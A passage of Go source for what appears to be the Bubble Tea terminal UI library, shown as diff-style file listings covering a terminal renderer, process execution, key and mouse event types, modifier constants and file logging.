s.mu.Unlock()
}
func reset(s *cursedRenderer) {
s.buf.Reset()
scr := uv.NewTerminalRenderer(&s.buf, s.env)
scr.SetColorProfile(s.profile)
scr.SetRelativeCursor(true) // Always start in inline mode
scr.SetFullscreen(false) // Always start in inline mode
scr.SetTabStops(s.width)
scr.SetBackspace(s.backspace)
scr.SetMapNewline(s.mapnl)
scr.SetScrollOptim(runtime.GOOS != "windows") // disable scroll optimization on Windows due to bugs in some terminals
s.scr = scr
}
// setColorProfile implements renderer.
func (s *cursedRenderer) setColorProfile(p colorprofile.Profile) {
s.mu.Lock()
s.profile = p
s.scr.SetColorProfile(p)
s.mu.Unlock()
}
// resize implements renderer.
func (s *cursedRenderer) resize(w, h int) {
s.mu.Lock()
// We need to mark the screen for clear to force a redraw. However, we
// only do so if we're using alt screen or the width has changed.
// That's because redrawing is expensive and we can avoid it if the
// width hasn't changed in inline mode. On the other hand, when using
// alt screen mode, we always want to redraw because some terminals
// would scroll the screen and our content would be lost.
s.scr.Erase()
s.width, s.height = w, h
s.scr.Resize(s.width, s.height)
s.mu.Unlock()
}
// clearScreen implements renderer.
func (s *cursedRenderer) clearScreen() {
s.mu.Lock()
// Move the cursor to the top left corner of the screen and trigger a full
// screen redraw.
s.scr.MoveTo(0, 0)
s.scr.Erase()
s.mu.Unlock()
}
// enableAltScreen sets the alt screen mode.
// Note that this writes to the buffer directly if write is true.
func enableAltScreen(s *cursedRenderer, enable bool, write bool) {
if enable {
enterAltScreen(s, write)
} else {
exitAltScreen(s, write)
}
}
func enterAltScreen(s *cursedRenderer, write bool) {
s.scr.SaveCursor()
if write {
s.buf.WriteString(ansi.SetModeAltScreenSaveCursor)
}
s.scr.SetFullscreen(true)
s.scr.SetRelativeCursor(false)
s.scr.Erase()
}
func exitAltScreen(s *cursedRenderer, write bool) {
s.scr.Erase()
s.scr.SetRelativeCursor(true)
s.scr.SetFullscreen(false)
if write {
s.buf.WriteString(ansi.ResetModeAltScreenSaveCursor)
}
s.scr.RestoreCursor()
}
// enableTextCursor sets the text cursor mode.
func enableTextCursor(s *cursedRenderer, enable bool) {
if enable {
_, _ = s.scr.WriteString(ansi.SetModeTextCursorEnable)
} else {
_, _ = s.scr.WriteString(ansi.ResetModeTextCursorEnable)
}
}
// setSyncdUpdates implements renderer.
func (s *cursedRenderer) setSyncdUpdates(syncd bool) {
s.mu.Lock()
s.syncdUpdates = syncd
s.mu.Unlock()
}
// setWidthMethod implements renderer.
func (s *cursedRenderer) setWidthMethod(method ansi.Method) {
s.mu.Lock()
if method == ansi.GraphemeWidth {
// Turn on Unicode mode (2027) for accurate grapheme width calculation.
// This is needed for proper rendering of wide characters and emojis.
_, _ = s.scr.WriteString(ansi.SetModeUnicodeCore)
} else if s.cellbuf.Method == ansi.GraphemeWidth {
// Turn off Unicode mode if we're switching away from grapheme width
// calculation to avoid issues with some terminals that might still be
// in Unicode mode and render characters incorrectly.
_, _ = s.scr.WriteString(ansi.ResetModeUnicodeCore)
}
s.cellbuf.Method = method
s.mu.Unlock()
}
// insertAbove implements renderer.
func (s *cursedRenderer) insertAbove(str string) error {
s.mu.Lock()
defer s.mu.Unlock()
if len(str) == 0 {
return nil
}
var sb strings.Builder
w, h := s.cellbuf.Width(), s.cellbuf.Height()
_, y := s.scr.Position()
// We need to scroll the screen up by the number of lines in the queue.
sb.WriteByte('\r')
down := h - y - 1
if down > 0 {
sb.WriteString(ansi.CursorDown(down))
}
lines := strings.Split(str, "\n")
offset := len(lines)
for _, line := range lines {
lineWidth := ansi.StringWidth(line)
if w > 0 && lineWidth > w {
offset += (lineWidth / w)
}
}
// Scroll the screen up by the offset to make room for the new lines.
sb.WriteString(strings.Repeat("\n", offset))
// XXX: Now go to the top of the screen, insert new lines, and write
// the queued strings. It is important to use [Screen.moveCursor]
// instead of [Screen.move] because we don't want to perform any checks
// on the cursor position.
up := offset + h - 1
sb.WriteString(ansi.CursorUp(up))
sb.WriteString(ansi.InsertLine(offset))
for _, line := range lines {
sb.WriteString(line)
sb.WriteString(ansi.EraseLineRight)
sb.WriteString("\r\n")
}
s.scr.SetPosition(0, 0)
if s.logger != nil {
s.logger.Printf("insert above: %q", sb.String())
}
_, err := io.WriteString(s.w, sb.String())
if err != nil {
return fmt.Errorf("bubbletea: error writing insert above to the writer: %w", err)
}
return nil
}
// onMouse implements renderer.
func (s *cursedRenderer) onMouse(m MouseMsg) Cmd {
if s.lastView != nil && s.lastView.OnMouse != nil {
return s.lastView.OnMouse(m)
}
return nil
}
func setProgressBar(s *cursedRenderer, pb *ProgressBar) {
if pb == nil {
_, _ = s.scr.WriteString(ansi.ResetProgressBar)
return
}
var seq string
switch pb.State {
case ProgressBarNone:
seq = ansi.ResetProgressBar
case ProgressBarDefault:
seq = ansi.SetProgressBar(pb.Value)
case ProgressBarError:
seq = ansi.SetErrorProgressBar(pb.Value)
case ProgressBarIndeterminate:
seq = ansi.SetIndeterminateProgressBar
case ProgressBarWarning:
seq = ansi.SetWarningProgressBar(pb.Value)
}
if seq != "" {
_, _ = s.scr.WriteString(seq)
}
}
func viewEquals(a, b *View) bool {
if a == nil || b == nil {
return false
}
if a.Content != b.Content ||
a.AltScreen != b.AltScreen ||
a.DisableBracketedPasteMode != b.DisableBracketedPasteMode ||
a.ReportFocus != b.ReportFocus ||
a.MouseMode != b.MouseMode ||
a.WindowTitle != b.WindowTitle ||
a.ForegroundColor != b.ForegroundColor ||
a.BackgroundColor != b.BackgroundColor ||
a.KeyboardEnhancements != b.KeyboardEnhancements {
return false
}
if (a.Cursor == nil) != (b.Cursor == nil) {
return false
}
if a.Cursor != nil && b.Cursor != nil {
if a.Cursor.X != b.Cursor.X ||
a.Cursor.Y != b.Cursor.Y ||
a.Cursor.Shape != b.Cursor.Shape ||
a.Cursor.Blink != b.Cursor.Blink ||
a.Cursor.Color != b.Cursor.Color {
return false
}
}
if (a.ProgressBar == nil) != (b.ProgressBar == nil) {
return false
}
if a.ProgressBar != nil && b.ProgressBar != nil {
if *a.ProgressBar != *b.ProgressBar {
return false
}
}
return true
}
+28
View File
@@ -0,0 +1,28 @@
package tea
// Position represents a position in the terminal.
type Position struct{ X, Y int }
// CursorPositionMsg is a message that represents the terminal cursor position.
type CursorPositionMsg struct {
X, Y int
}
// CursorShape represents a terminal cursor shape.
type CursorShape int
// Cursor shapes.
const (
CursorBlock CursorShape = iota
CursorUnderline
CursorBar
)
// requestCursorPosMsg is a message that requests the cursor position.
type requestCursorPosMsg struct{}
// RequestCursorPosition is a command that requests the cursor position.
// The cursor position will be sent as a [CursorPositionMsg] message.
func RequestCursorPosition() Msg {
return requestCursorPosMsg{}
}
+34
View File
@@ -0,0 +1,34 @@
package tea
import uv "github.com/charmbracelet/ultraviolet"
// EnvMsg is a message that represents the environment variables of the
// program. This is useful for getting the environment variables of programs
// running in a remote session like SSH. In that case, using [os.Getenv] would
// return the server's environment variables, not the client's.
//
// This message is sent to the program when it starts.
//
// Example:
//
// switch msg := msg.(type) {
// case EnvMsg:
// // What terminal type is being used?
// term := msg.Getenv("TERM")
// }
type EnvMsg uv.Environ
// Getenv returns the value of the environment variable named by the key. If
// the variable is not present in the environment, the value returned will be
// the empty string.
func (msg EnvMsg) Getenv(key string) (v string) {
return uv.Environ(msg).Getenv(key)
}
// LookupEnv retrieves the value of the environment variable named by the key.
// If the variable is present in the environment the value (which may be empty)
// is returned and the boolean is true. Otherwise the returned value will be
// empty and the boolean will be false.
func (msg EnvMsg) LookupEnv(key string) (s string, v bool) {
return uv.Environ(msg).LookupEnv(key)
}
+129
View File
@@ -0,0 +1,129 @@
package tea
import (
"io"
"os"
"os/exec"
)
// execMsg is used internally to run an ExecCommand sent with Exec.
type execMsg struct {
cmd ExecCommand
fn ExecCallback
}
// Exec is used to perform arbitrary I/O in a blocking fashion, effectively
// pausing the Program while execution is running and resuming it when
// execution has completed.
//
// Most of the time you'll want to use ExecProcess, which runs an exec.Cmd.
//
// For non-interactive i/o you should use a Cmd (that is, a tea.Cmd).
func Exec(c ExecCommand, fn ExecCallback) Cmd {
return func() Msg {
return execMsg{cmd: c, fn: fn}
}
}
// ExecProcess runs the given *exec.Cmd in a blocking fashion, effectively
// pausing the Program while the command is running. After the *exec.Cmd exists
// the Program resumes. It's useful for spawning other interactive applications
// such as editors and shells from within a Program.
//
// To produce the command, pass an *exec.Cmd and a function which returns
// a message containing the error which may have occurred when running the
// ExecCommand.
//
// type VimFinishedMsg struct { err error }
//
// c := exec.Command("vim", "file.txt")
//
// cmd := ExecProcess(c, func(err error) Msg {
// return VimFinishedMsg{err: err}
// })
//
// Or, if you don't care about errors, you could simply:
//
// cmd := ExecProcess(exec.Command("vim", "file.txt"), nil)
//
// For non-interactive i/o you should use a Cmd (that is, a tea.Cmd).
func ExecProcess(c *exec.Cmd, fn ExecCallback) Cmd {
return Exec(wrapExecCommand(c), fn)
}
// ExecCallback is used when executing an *exec.Command to return a message
// with an error, which may or may not be nil.
type ExecCallback func(error) Msg
// ExecCommand can be implemented to execute things in a blocking fashion in
// the current terminal.
type ExecCommand interface {
Run() error
SetStdin(io.Reader)
SetStdout(io.Writer)
SetStderr(io.Writer)
}
// wrapExecCommand wraps an exec.Cmd so that it satisfies the ExecCommand
// interface so it can be used with Exec.
func wrapExecCommand(c *exec.Cmd) ExecCommand {
return &osExecCommand{Cmd: c}
}
// osExecCommand is a layer over an exec.Cmd that satisfies the ExecCommand
// interface.
type osExecCommand struct{ *exec.Cmd }
// SetStdin sets stdin on underlying exec.Cmd to the given io.Reader.
func (c *osExecCommand) SetStdin(r io.Reader) {
// If unset, have the command use the same input as the terminal.
if c.Stdin == nil {
c.Stdin = r
}
}
// SetStdout sets stdout on underlying exec.Cmd to the given io.Writer.
func (c *osExecCommand) SetStdout(w io.Writer) {
// If unset, have the command use the same output as the terminal.
if c.Stdout == nil {
c.Stdout = w
}
}
// SetStderr sets stderr on the underlying exec.Cmd to the given io.Writer.
func (c *osExecCommand) SetStderr(w io.Writer) {
// If unset, use stderr for the command's stderr
if c.Stderr == nil {
c.Stderr = w
}
}
// exec runs an ExecCommand and delivers the results to the program as a Msg.
func (p *Program) exec(c ExecCommand, fn ExecCallback) {
if err := p.releaseTerminal(false); err != nil {
// If we can't release input, abort.
if fn != nil {
go p.Send(fn(err))
}
return
}
c.SetStdin(p.input)
c.SetStdout(p.output)
c.SetStderr(os.Stderr)
// Execute system command.
if err := c.Run(); err != nil {
_ = p.RestoreTerminal() // also try to restore the terminal.
if fn != nil {
go p.Send(fn(err))
}
return
}
// Have the program re-capture input.
err := p.RestoreTerminal()
if fn != nil {
go p.Send(fn(err))
}
}
+9
View File
@@ -0,0 +1,9 @@
package tea
// FocusMsg represents a terminal focus message.
// This occurs when the terminal gains focus.
type FocusMsg struct{}
// BlurMsg represents a terminal blur message.
// This occurs when the terminal loses focus.
type BlurMsg struct{}
+54
View File
@@ -0,0 +1,54 @@
package tea
import (
uv "github.com/charmbracelet/ultraviolet"
)
// translateInputEvent translates an input event into a Bubble Tea Msg.
func (p *Program) translateInputEvent(e uv.Event) Msg {
switch e := e.(type) {
case uv.ClipboardEvent:
return ClipboardMsg(e)
case uv.ForegroundColorEvent:
return ForegroundColorMsg(e)
case uv.BackgroundColorEvent:
return BackgroundColorMsg(e)
case uv.CursorColorEvent:
return CursorColorMsg(e)
case uv.CursorPositionEvent:
return CursorPositionMsg(e)
case uv.FocusEvent:
return FocusMsg(e)
case uv.BlurEvent:
return BlurMsg(e)
case uv.KeyPressEvent:
return KeyPressMsg(e)
case uv.KeyReleaseEvent:
return KeyReleaseMsg(e)
case uv.MouseClickEvent:
return MouseClickMsg(e)
case uv.MouseMotionEvent:
return MouseMotionMsg(e)
case uv.MouseReleaseEvent:
return MouseReleaseMsg(e)
case uv.MouseWheelEvent:
return MouseWheelMsg(e)
case uv.PasteEvent:
return PasteMsg(e)
case uv.PasteStartEvent:
return PasteStartMsg(e)
case uv.PasteEndEvent:
return PasteEndMsg(e)
case uv.WindowSizeEvent:
return WindowSizeMsg(e)
case uv.CapabilityEvent:
return CapabilityMsg(e)
case uv.TerminalVersionEvent:
return TerminalVersionMsg(e)
case uv.KeyboardEnhancementsEvent:
return KeyboardEnhancementsMsg(e)
case uv.ModeReportEvent:
return ModeReportMsg(e)
}
return e
}
+371
View File
@@ -0,0 +1,371 @@
package tea
import (
"fmt"
uv "github.com/charmbracelet/ultraviolet"
)
const (
// KeyExtended is a special key code used to signify that a key event
// contains multiple runes.
KeyExtended = uv.KeyExtended
)
// Special key symbols.
const (
// Special keys.
KeyUp = uv.KeyUp
KeyDown = uv.KeyDown
KeyRight = uv.KeyRight
KeyLeft = uv.KeyLeft
KeyBegin = uv.KeyBegin
KeyFind = uv.KeyFind
KeyInsert = uv.KeyInsert
KeyDelete = uv.KeyDelete
KeySelect = uv.KeySelect
KeyPgUp = uv.KeyPgUp
KeyPgDown = uv.KeyPgDown
KeyHome = uv.KeyHome
KeyEnd = uv.KeyEnd
// Keypad keys.
KeyKpEnter = uv.KeyKpEnter
KeyKpEqual = uv.KeyKpEqual
KeyKpMultiply = uv.KeyKpMultiply
KeyKpPlus = uv.KeyKpPlus
KeyKpComma = uv.KeyKpComma
KeyKpMinus = uv.KeyKpMinus
KeyKpDecimal = uv.KeyKpDecimal
KeyKpDivide = uv.KeyKpDivide
KeyKp0 = uv.KeyKp0
KeyKp1 = uv.KeyKp1
KeyKp2 = uv.KeyKp2
KeyKp3 = uv.KeyKp3
KeyKp4 = uv.KeyKp4
KeyKp5 = uv.KeyKp5
KeyKp6 = uv.KeyKp6
KeyKp7 = uv.KeyKp7
KeyKp8 = uv.KeyKp8
KeyKp9 = uv.KeyKp9
// The following are keys defined in the Kitty keyboard protocol.
// XXX: Investigate the names of these keys.
KeyKpSep = uv.KeyKpSep
KeyKpUp = uv.KeyKpUp
KeyKpDown = uv.KeyKpDown
KeyKpLeft = uv.KeyKpLeft
KeyKpRight = uv.KeyKpRight
KeyKpPgUp = uv.KeyKpPgUp
KeyKpPgDown = uv.KeyKpPgDown
KeyKpHome = uv.KeyKpHome
KeyKpEnd = uv.KeyKpEnd
KeyKpInsert = uv.KeyKpInsert
KeyKpDelete = uv.KeyKpDelete
KeyKpBegin = uv.KeyKpBegin
// Function keys.
KeyF1 = uv.KeyF1
KeyF2 = uv.KeyF2
KeyF3 = uv.KeyF3
KeyF4 = uv.KeyF4
KeyF5 = uv.KeyF5
KeyF6 = uv.KeyF6
KeyF7 = uv.KeyF7
KeyF8 = uv.KeyF8
KeyF9 = uv.KeyF9
KeyF10 = uv.KeyF10
KeyF11 = uv.KeyF11
KeyF12 = uv.KeyF12
KeyF13 = uv.KeyF13
KeyF14 = uv.KeyF14
KeyF15 = uv.KeyF15
KeyF16 = uv.KeyF16
KeyF17 = uv.KeyF17
KeyF18 = uv.KeyF18
KeyF19 = uv.KeyF19
KeyF20 = uv.KeyF20
KeyF21 = uv.KeyF21
KeyF22 = uv.KeyF22
KeyF23 = uv.KeyF23
KeyF24 = uv.KeyF24
KeyF25 = uv.KeyF25
KeyF26 = uv.KeyF26
KeyF27 = uv.KeyF27
KeyF28 = uv.KeyF28
KeyF29 = uv.KeyF29
KeyF30 = uv.KeyF30
KeyF31 = uv.KeyF31
KeyF32 = uv.KeyF32
KeyF33 = uv.KeyF33
KeyF34 = uv.KeyF34
KeyF35 = uv.KeyF35
KeyF36 = uv.KeyF36
KeyF37 = uv.KeyF37
KeyF38 = uv.KeyF38
KeyF39 = uv.KeyF39
KeyF40 = uv.KeyF40
KeyF41 = uv.KeyF41
KeyF42 = uv.KeyF42
KeyF43 = uv.KeyF43
KeyF44 = uv.KeyF44
KeyF45 = uv.KeyF45
KeyF46 = uv.KeyF46
KeyF47 = uv.KeyF47
KeyF48 = uv.KeyF48
KeyF49 = uv.KeyF49
KeyF50 = uv.KeyF50
KeyF51 = uv.KeyF51
KeyF52 = uv.KeyF52
KeyF53 = uv.KeyF53
KeyF54 = uv.KeyF54
KeyF55 = uv.KeyF55
KeyF56 = uv.KeyF56
KeyF57 = uv.KeyF57
KeyF58 = uv.KeyF58
KeyF59 = uv.KeyF59
KeyF60 = uv.KeyF60
KeyF61 = uv.KeyF61
KeyF62 = uv.KeyF62
KeyF63 = uv.KeyF63
// The following are keys defined in the Kitty keyboard protocol.
// XXX: Investigate the names of these keys.
KeyCapsLock = uv.KeyCapsLock
KeyScrollLock = uv.KeyScrollLock
KeyNumLock = uv.KeyNumLock
KeyPrintScreen = uv.KeyPrintScreen
KeyPause = uv.KeyPause
KeyMenu = uv.KeyMenu
KeyMediaPlay = uv.KeyMediaPlay
KeyMediaPause = uv.KeyMediaPause
KeyMediaPlayPause = uv.KeyMediaPlayPause
KeyMediaReverse = uv.KeyMediaReverse
KeyMediaStop = uv.KeyMediaStop
KeyMediaFastForward = uv.KeyMediaFastForward
KeyMediaRewind = uv.KeyMediaRewind
KeyMediaNext = uv.KeyMediaNext
KeyMediaPrev = uv.KeyMediaPrev
KeyMediaRecord
KeyLowerVol = uv.KeyLowerVol
KeyRaiseVol = uv.KeyRaiseVol
KeyMute = uv.KeyMute
KeyLeftShift = uv.KeyLeftShift
KeyLeftAlt = uv.KeyLeftAlt
KeyLeftCtrl = uv.KeyLeftCtrl
KeyLeftSuper = uv.KeyLeftSuper
KeyLeftHyper = uv.KeyLeftHyper
KeyLeftMeta = uv.KeyLeftMeta
KeyRightShift = uv.KeyRightShift
KeyRightAlt = uv.KeyRightAlt
KeyRightCtrl = uv.KeyRightCtrl
KeyRightSuper = uv.KeyRightSuper
KeyRightHyper = uv.KeyRightHyper
KeyRightMeta = uv.KeyRightMeta
KeyIsoLevel3Shift = uv.KeyIsoLevel3Shift
KeyIsoLevel5Shift = uv.KeyIsoLevel5Shift
// Special names in C0.
KeyBackspace = uv.KeyBackspace
KeyTab = uv.KeyTab
KeyEnter = uv.KeyEnter
KeyReturn = uv.KeyReturn
KeyEscape = uv.KeyEscape
KeyEsc = uv.KeyEsc
// Special names in G0.
KeySpace = uv.KeySpace
)
// KeyPressMsg represents a key press message.
type KeyPressMsg Key
// String implements [fmt.Stringer] and is quite useful for matching key
// events. For details, on what this returns see [Key.String].
func (k KeyPressMsg) String() string {
return Key(k).String()
}
// Keystroke returns the keystroke representation of the [Key]. While less type
// safe than looking at the individual fields, it will usually be more
// convenient and readable to use this method when matching against keys.
//
// Note that modifier keys are always printed in the following order:
// - ctrl
// - alt
// - shift
// - meta
// - hyper
// - super
//
// For example, you'll always see "ctrl+shift+alt+a" and never
// "shift+ctrl+alt+a".
func (k KeyPressMsg) Keystroke() string {
return uv.Key(k).Keystroke()
}
// Key returns the underlying key event. This is a syntactic sugar for casting
// the key event to a [Key].
func (k KeyPressMsg) Key() Key {
return Key(k)
}
// KeyReleaseMsg represents a key release message.
type KeyReleaseMsg Key
// String implements [fmt.Stringer] and is quite useful for matching key
// events. For details, on what this returns see [Key.String].
func (k KeyReleaseMsg) String() string {
return Key(k).String()
}
// Keystroke returns the keystroke representation of the [Key]. While less type
// safe than looking at the individual fields, it will usually be more
// convenient and readable to use this method when matching against keys.
//
// Note that modifier keys are always printed in the following order:
// - ctrl
// - alt
// - shift
// - meta
// - hyper
// - super
//
// For example, you'll always see "ctrl+shift+alt+a" and never
// "shift+ctrl+alt+a".
func (k KeyReleaseMsg) Keystroke() string {
return uv.Key(k).Keystroke()
}
// Key returns the underlying key event. This is a convenience method and
// syntactic sugar to satisfy the [KeyMsg] interface, and cast the key event to
// [Key].
func (k KeyReleaseMsg) Key() Key {
return Key(k)
}
// KeyMsg represents a key event. This can be either a key press or a key
// release event.
type KeyMsg interface {
fmt.Stringer
// Key returns the underlying key event.
Key() Key
}
// Key represents a Key press or release event. It contains information about
// the Key pressed, like the runes, the type of Key, and the modifiers pressed.
// There are a couple general patterns you could use to check for key presses
// or releases:
//
// // Switch on the string representation of the key (shorter)
// switch msg := msg.(type) {
// case KeyPressMsg:
// switch msg.String() {
// case "enter":
// fmt.Println("you pressed enter!")
// case "a":
// fmt.Println("you pressed a!")
// }
// }
//
// // Switch on the key type (more foolproof)
// switch msg := msg.(type) {
// case KeyMsg:
// // catch both KeyPressMsg and KeyReleaseMsg
// switch key := msg.Key(); key.Code {
// case KeyEnter:
// fmt.Println("you pressed enter!")
// default:
// switch key.Text {
// case "a":
// fmt.Println("you pressed a!")
// }
// }
// }
//
// Note that [Key.Text] will be empty for special keys like [KeyEnter],
// [KeyTab], and for keys that don't represent printable characters like key
// combos with modifier keys. In other words, [Key.Text] is populated only for
// keys that represent printable characters shifted or unshifted (like 'a',
// 'A', '1', '!', etc.).
type Key struct {
// Text contains the actual characters received. This usually the same as
// [Key.Code]. When [Key.Text] is non-empty, it indicates that the key
// pressed represents printable character(s).
Text string
// Mod represents modifier keys, like [ModCtrl], [ModAlt], and so on.
Mod KeyMod
// Code represents the key pressed. This is usually a special key like
// [KeyTab], [KeyEnter], [KeyF1], or a printable character like 'a'.
Code rune
// ShiftedCode is the actual, shifted key pressed by the user. For example,
// if the user presses shift+a, or caps lock is on, [Key.ShiftedCode] will
// be 'A' and [Key.Code] will be 'a'.
//
// In the case of non-latin keyboards, like Arabic, [Key.ShiftedCode] is the
// unshifted key on the keyboard.
//
// This is only available with the Kitty Keyboard Protocol or the Windows
// Console API.
ShiftedCode rune
// BaseCode is the key pressed according to the standard PC-101 key layout.
// On international keyboards, this is the key that would be pressed if the
// keyboard was set to US PC-101 layout.
//
// For example, if the user presses 'q' on a French AZERTY keyboard,
// [Key.BaseCode] will be 'q'.
//
// This is only available with the Kitty Keyboard Protocol or the Windows
// Console API.
BaseCode rune
// IsRepeat indicates whether the key is being held down and sending events
// repeatedly.
//
// This is only available with the Kitty Keyboard Protocol or the Windows
// Console API.
IsRepeat bool
}
// String implements [fmt.Stringer] and is quite useful for matching key
// events. It will return the textual representation of the [Key] if there is
// one, otherwise, it will fallback to [Key.Keystroke].
//
// For example, you'll always get "?" and instead of "shift+/" on a US ANSI
// keyboard.
func (k Key) String() string {
return uv.Key(k).String()
}
// Keystroke returns the keystroke representation of the [Key]. While less type
// safe than looking at the individual fields, it will usually be more
// convenient and readable to use this method when matching against keys.
//
// Note that modifier keys are always printed in the following order:
// - ctrl
// - alt
// - shift
// - meta
// - hyper
// - super
//
// For example, you'll always see "ctrl+shift+alt+a" and never
// "shift+ctrl+alt+a".
func (k Key) Keystroke() string {
return uv.Key(k).Keystroke()
}
+41
View File
@@ -0,0 +1,41 @@
package tea
import (
"github.com/charmbracelet/x/ansi"
)
// KeyboardEnhancementsMsg is a message that gets sent when the terminal
// supports keyboard enhancements.
type KeyboardEnhancementsMsg struct {
// Flags is a bitmask of enabled keyboard enhancement features. A non-zero
// value indicates that at least we have key disambiguation support.
//
// See [ansi.KittyReportEventTypes] and other constants for details.
//
// Example:
//
// ```go
// // The hard way
// if msg.Flags&ansi.KittyReportEventTypes != 0 {
// // Terminal supports reporting different key event types
// }
//
// // The easy way
// if msg.SupportsEventTypes() {
// // Terminal supports reporting different key event types
// }
// ```
Flags int
}
// SupportsKeyDisambiguation returns whether the terminal supports key
// disambiguation (e.g., distinguishing between different modifier keys).
func (k KeyboardEnhancementsMsg) SupportsKeyDisambiguation() bool {
return k.Flags > 0
}
// SupportsEventTypes returns whether the terminal supports reporting
// different types of key events (press, release, and repeat).
func (k KeyboardEnhancementsMsg) SupportsEventTypes() bool {
return k.Flags&ansi.KittyReportEventTypes != 0
}
+53
View File
@@ -0,0 +1,53 @@
package tea
import (
"fmt"
"io"
"log"
"os"
"unicode"
)
// LogToFile sets up default logging to log to a file. This is helpful as we
// can't print to the terminal since our TUI is occupying it. If the file
// doesn't exist it will be created.
//
// Don't forget to close the file when you're done with it.
//
// f, err := LogToFile("debug.log", "debug")
// if err != nil {
// fmt.Println("fatal:", err)
// os.Exit(1)
// }
// defer f.Close()
func LogToFile(path string, prefix string) (*os.File, error) {
return LogToFileWith(path, prefix, log.Default())
}
// LogOptionsSetter is an interface implemented by stdlib's log and charm's log
// libraries.
type LogOptionsSetter interface {
SetOutput(io.Writer)
SetPrefix(string)
}
// LogToFileWith does allows to call LogToFile with a custom LogOptionsSetter.
func LogToFileWith(path string, prefix string, log LogOptionsSetter) (*os.File, error) {
f, err := os.OpenFile(path, os.O_WRONLY|os.O_CREATE|os.O_APPEND, 0o600) //nolint:mnd
if err != nil {
return nil, fmt.Errorf("error opening file for logging: %w", err)
}
log.SetOutput(f)
// Add a space after the prefix if a prefix is being specified and it
// doesn't already have a trailing space.
if len(prefix) > 0 {
finalChar := prefix[len(prefix)-1]
if !unicode.IsSpace(rune(finalChar)) {
prefix += " "
}
}
log.SetPrefix(prefix)
return f, nil
}
+27
View File
@@ -0,0 +1,27 @@
package tea
import uv "github.com/charmbracelet/ultraviolet"
// KeyMod represents modifier keys.
type KeyMod = uv.KeyMod
// Modifier keys.
const (
ModShift = uv.ModShift
ModAlt = uv.ModAlt
ModCtrl = uv.ModCtrl
ModMeta = uv.ModMeta
// These modifiers are used with the Kitty protocol.
// XXX: Meta and Super are swapped in the Kitty protocol,
// this is to preserve compatibility with XTerm modifiers.
ModHyper = uv.ModHyper
ModSuper = uv.ModSuper // Windows/Command keys
// These are key lock states.
ModCapsLock = uv.ModCapsLock
ModNumLock = uv.ModNumLock
ModScrollLock = uv.ModScrollLock // Defined in Windows API only
)
+144
View File
@@ -0,0 +1,144 @@
package tea
import (
"fmt"
uv "github.com/charmbracelet/ultraviolet"
)
// MouseButton represents the button that was pressed during a mouse message.
type MouseButton = uv.MouseButton
// Mouse event buttons
//
// This is based on X11 mouse button codes.
//
// 1 = left button
// 2 = middle button (pressing the scroll wheel)
// 3 = right button
// 4 = turn scroll wheel up
// 5 = turn scroll wheel down
// 6 = push scroll wheel left
// 7 = push scroll wheel right
// 8 = 4th button (aka browser backward button)
// 9 = 5th button (aka browser forward button)
// 10
// 11
//
// Other buttons are not supported.
const (
MouseNone = uv.MouseNone
MouseLeft = uv.MouseLeft
MouseMiddle = uv.MouseMiddle
MouseRight = uv.MouseRight
MouseWheelUp = uv.MouseWheelUp
MouseWheelDown = uv.MouseWheelDown
MouseWheelLeft = uv.MouseWheelLeft
MouseWheelRight = uv.MouseWheelRight
MouseBackward = uv.MouseBackward
MouseForward = uv.MouseForward
MouseButton10 = uv.MouseButton10
MouseButton11
)
// MouseMsg represents a mouse message. This is a generic mouse message that
// can represent any kind of mouse event.
type MouseMsg interface {
fmt.Stringer
// Mouse returns the underlying mouse event.
Mouse() Mouse
}
// Mouse represents a Mouse message. Use [MouseMsg] to represent all mouse
// messages.
//
// The X and Y coordinates are zero-based, with (0,0) being the upper left
// corner of the terminal.
//
// // Catch all mouse events
// switch msg := msg.(type) {
// case MouseMsg:
// m := msg.Mouse()
// fmt.Println("Mouse event:", m.X, m.Y, m)
// }
//
// // Only catch mouse click events
// switch msg := msg.(type) {
// case MouseClickMsg:
// fmt.Println("Mouse click event:", msg.X, msg.Y, msg)
// }
type Mouse struct {
X, Y int
Button MouseButton
Mod KeyMod
}
// String returns a string representation of the mouse message.
func (m Mouse) String() (s string) {
return uv.Mouse(m).String()
}
// MouseClickMsg represents a mouse button click message.
type MouseClickMsg Mouse
// String returns a string representation of the mouse click message.
func (e MouseClickMsg) String() string {
return Mouse(e).String()
}
// Mouse returns the underlying mouse event. This is a convenience method and
// syntactic sugar to satisfy the [MouseMsg] interface, and cast the mouse
// event to [Mouse].
func (e MouseClickMsg) Mouse() Mouse {
return Mouse(e)
}
// MouseReleaseMsg represents a mouse button release message.
type MouseReleaseMsg Mouse
// String returns a string representation of the mouse release message.
func (e MouseReleaseMsg) String() string {
return Mouse(e).String()
}
// Mouse returns the underlying mouse event. This is a convenience method and
// syntactic sugar to satisfy the [MouseMsg] interface, and cast the mouse
// event to [Mouse].
func (e MouseReleaseMsg) Mouse() Mouse {
return Mouse(e)
}
// MouseWheelMsg represents a mouse wheel message event.
type MouseWheelMsg Mouse
// String returns a string representation of the mouse wheel message.
func (e MouseWheelMsg) String() string {
return Mouse(e).String()
}
// Mouse returns the underlying mouse event. This is a convenience method and
// syntactic sugar to satisfy the [MouseMsg] interface, and cast the mouse
// event to [Mouse].
func (e MouseWheelMsg) Mouse() Mouse {
return Mouse(e)
}
// MouseMotionMsg represents a mouse motion message.
type MouseMotionMsg Mouse
// String returns a string representation of the mouse motion message.
func (e MouseMotionMsg) String() string {
m := Mouse(e)
if m.Button != 0 {
return m.String() + "+motion"
}
return m.String() + "motion"
}
// Mouse returns the underlying mouse event. This is a convenience method and
// syntactic sugar to satisfy the [MouseMsg] interface, and cast the mouse
// event to [Mouse].
func (e MouseMotionMsg) Mouse() Mouse {
return Mouse(e)
}
+53
View File
@@ -0,0 +1,53 @@
package tea
import (
"github.com/charmbracelet/colorprofile"
"github.com/charmbracelet/x/ansi"
)
// nilRenderer is a no-op renderer. It implements the Renderer interface but
// doesn't render anything to the terminal.
type nilRenderer struct{}
var _ renderer = nilRenderer{}
// start implements renderer.
func (n nilRenderer) start() {}
// clearScreen implements renderer.
func (n nilRenderer) clearScreen() {}
// insertAbove implements renderer.
func (n nilRenderer) insertAbove(string) error { return nil }
// resize implements renderer.
func (n nilRenderer) resize(int, int) {}
// setColorProfile implements renderer.
func (n nilRenderer) setColorProfile(colorprofile.Profile) {}
// flush implements the Renderer interface.
func (nilRenderer) flush(bool) error { return nil }
// close implements the Renderer interface.
func (nilRenderer) close() error { return nil }
// render implements the Renderer interface.
func (nilRenderer) render(View) {}
// reset implements the Renderer interface.
func (nilRenderer) reset() {}
// writeString implements the Renderer interface.
func (nilRenderer) writeString(string) (int, error) { return 0, nil }
// setSyncdUpdates implements the Renderer interface.
